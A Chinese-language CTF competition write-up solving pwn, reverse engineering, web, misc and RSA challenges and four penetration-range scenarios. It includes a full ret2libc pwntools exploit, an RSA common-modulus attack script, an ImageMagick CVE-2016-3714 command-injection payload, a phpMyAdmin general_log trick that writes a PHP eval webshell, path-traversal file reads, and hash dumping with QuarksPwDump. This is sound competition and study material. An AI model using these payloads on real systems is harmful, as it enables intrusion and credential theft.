巔峰極客線上第二場-writeup
CTF
PlainR2B-PWN
很明顯的棧溢位,第一次溢位列印write函式的地址,然後從和libc中的地址尋找偏移,最後利用system函式和libc中的/bin/sh,getshell後執行伺服器上的getflag程式隨意輸入一些東西,進行多輪後會輸出flag
貼指令碼:
from pwn import *
r = remote('117.50.60.184', 12345)
lib = ELF('./libc-2.23.so')
elf = ELF('./pwn')
writegot = elf.got["write"]
writeplt = elf.plt["write"]
func = elf.symbols["game"]
writelibc = lib.symbols["write"]
syslibc = lib.symbols["system"]
bin_addr = lib.search('/bin/sh').next()
payload = 'a' * (0x1c + 4) + p32(writeplt) + p32(func) + \
p32(1) + p32(writegot) + p32(4)
r.recvuntil("name?")
r.sendline("nana")
r.recvuntil("flag")
r.sendline(payload)
ta = r.recv()
t = r.recv()
print ta,t
writeaddr = u32(t[0:4])
sysaddr = writeaddr - writelibc + syslibc
binaddr = writeaddr - writelibc + bin_addr
payload1 = 'a' * (0x1c + 4) + p32(sysaddr) + p32(func) + p32(binaddr)
r.sendline(payload1)
r.interactive()
Antidbg-RE
分析程式邏輯定位關鍵函式,逆向程式發現是一個驗證16進位制的程式,提取變數進行正向解密
low4 =[0x06, 0x0C, 0x01, 0x07, 0x0B, 0x00, 0x06, 0x02, 0x01, 0x06,
0x01, 0x07, 0x02, 0x0D, 0x05, 0x01,0x03, 0x03, 0x0D, 0x04, 0x03, 0x01, 0x00, 0x0D, 0x08, 0x08,
0x01, 0x02, 0x0D, 0x07, 0x00, 0x01, 0x02, 0x06, 0x08, 0x02,0x09, 0x00, 0x05, 0x02,0x02,0x0d]
offset = [ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,
0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,
0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
print len(offset),len(low4)
a = [2,3,6,7]
flag= ""
for i in range(len(low4)):
flag += chr(a[offset[i]]<<4 | low4[i])
print flag
sqli-WEB
明顯要注入了,隨手測試註冊'admin+空格'使用者名稱,登陸拿flag。
word-MISC
公眾號拿一半flag,在字型這裡拿到另外一半。
rsa-CRYPTO
用python指令碼提取n和e,這裡可以參考我之前的文章《關於rsa的openssl命令一些隨筆。》,發現n一樣e不一樣。明顯的共模攻擊。網上找個指令碼改改加個base64解碼跑一下拿flag。
提取指令碼:
from Crypto.PublicKey import RSA
with open('./pubkey2.pem', 'r') as f:
key = RSA.importKey(f)
n = key.n
e = key.e
print n
print e
跑明文指令碼:
import gmpy2
import string
from Crypto.Util.number import long_to_bytes
from base64 import *
n = 0x8989a398988456b3fef4a6ad86df3c99577f8978048de5436befc30d8d8c94958912aa526ff333b66857306ebb8de36c2c396a84efdc5d382502daa1a3f3b6e97502d2e31c849330f5b4c95257a149a97f5954eaf89341147adcdd4e950fff74e30bbe622876b42eeac86df4ad9715d05b5604aa8179424c7d9ac46bd6b5f322b2b5728ba148704a25a8efcc1e7c84ea7e5ce3e01703f04f94a431d9954bd7ae2c7dd6e879b35f8a2d4a5efbe737257bf99bd9ee66b15aff233fc77b558a487da5952fbe2b923da9c5eb46788c050336b7e36a5ed82d5c1b2aeb0e45bee405cbe72481db2568aa829eeac87d201a5a8ff5ee6f0be38192ab2839635f6c664217L
e1 = 2333
e2 = 23333
with open('flag1.enc', 'r') as f:
cipher1 = f.read()
cipher1=b64decode(cipher1).encode('hex')
cipher1 = string.atoi(cipher1, base=16)
with open('flag2.enc', 'r') as f:
cipher2 = f.read()
cipher2=b64decode(cipher2).encode('hex')
cipher2 = string.atoi(cipher2, base=16)
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
cipher1 = gmpy2.invert(cipher1, n)
if t < 0:
t = -t
cipher2 = gmpy2.invert(cipher2, n)
plain = gmpy2.powmod(cipher1, s, n) * gmpy2.powmod(cipher2, t, n) % n
print long_to_bytes(plain)
靶場
這次靶場打的蠻爽的,五個靶場通關了四個,就是時間有點不夠,還是太菜了,拋磚引玉看都沒看。
暗渡陳倉
虛實相接,需要出題者以聲東擊西的招式準備的歧路,找到正確的棧道。
1.提交上傳點的地址的name(例如答:/xxxxx/)
2.提交系統管理員Hack使用者的全名
3.超級管理員使用者桌面根目錄admin.txt檔案的內容
開啟靶場,右鍵檢視原始碼發現圖片路徑是u-Are-Admin 隨機訪問該目錄,發現是一個上傳繞過。用PHP可繞過,然後路徑不知道,用任意讀取downloadfile.php?file=讀download.php發現路徑是u-uploads-file,然後getshell。
蟻劍連上之後執行命令:net user檢視到Hack使用者名稱
。
然後在超級使用者的桌面根目錄找到admin.txt
瞞天過海
目的不是為了瞞天,只是做出題目的一種手段。
1.提交後臺管理員密碼
2.提交mysql密碼
3.提交C盤根目錄password.txt內容
主頁面發現注入點,即可拿到後臺登陸密碼和mysql密碼,somd5解一下就ok了。
進入後臺之後有上傳和任意讀取,上傳會自動加.jpg,繞了好久,結果發現有任意讀取。直接讀根目錄password.txt
/classes/downloadfile.php?file=../../../../../../../../../../../password.txt
偷樑換柱
賽題是那樣無情殘忍,無義無理取鬧,稍有踟躕,他就偷樑換柱。
1.提交後臺admin使用者的密碼
2.提交系統管理員ichunqiu使用者的全名
3.提交/tmp/access.log的內容的前16位
一開始啥思路都沒有,發現一個110.php還有hacker.jpg。後來掃波原始碼洩露才發現有.git洩露,githack打一發。發現數據庫檔案,拿到密碼。登入後臺。發現有上傳功能,自動加.png字尾,繞不過。開始審計,發現picture.php有命令執行。
使用了/usr/local/bin/convert,隨即想到CVE-2016–3714,找到poc看懂原理,改改就能getshell。
我的payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|ls > /var/www/html/1.txt")'
pop graphic-context
即可任意命令執行。然後users拿到使用者名稱並檢視檔案cat /tmp/access.log
反客為主
以靜謀動,反客為主,掌握真正的大權,才能不任人擺佈。
1.提交phpStudy目錄下Documents.txt的內容
2.提交系統使用者/ichunqiu的密碼
3.提交ichunqiu使用者Desktop根目錄password.txt的內容
進去之後發現有任意讀取info/include.php?filename=../../../../../../../../../../windows/win.ini
但是好像沒有什麼laun用,掃目錄發現phpmyadmin服務,用弱口令root/root登進去,然後genernal log getshell。
我的payload:
show variables like '%general%'; #檢視配置
set global general_log = on; #開啟general log模式
set global general_log_file = 'C:/phpStudy/WWW/1.php'; #設定日誌目錄為shell地址
select '<?php eval($_POST[cmd]);?>'; #寫入shell
getshell之後想用mimikatz跑一發密碼,結果gg了,不知道怎麼回事,也不能外連msf,彈不出shell。直接讀取password.txt,最後使用QuarksPwDump跑出了HASH,cmd5解密得到密碼。
最後就是今天的經歷吧。確實學到很多。也真的打的滿爽的,可惜不知道能不能去決賽。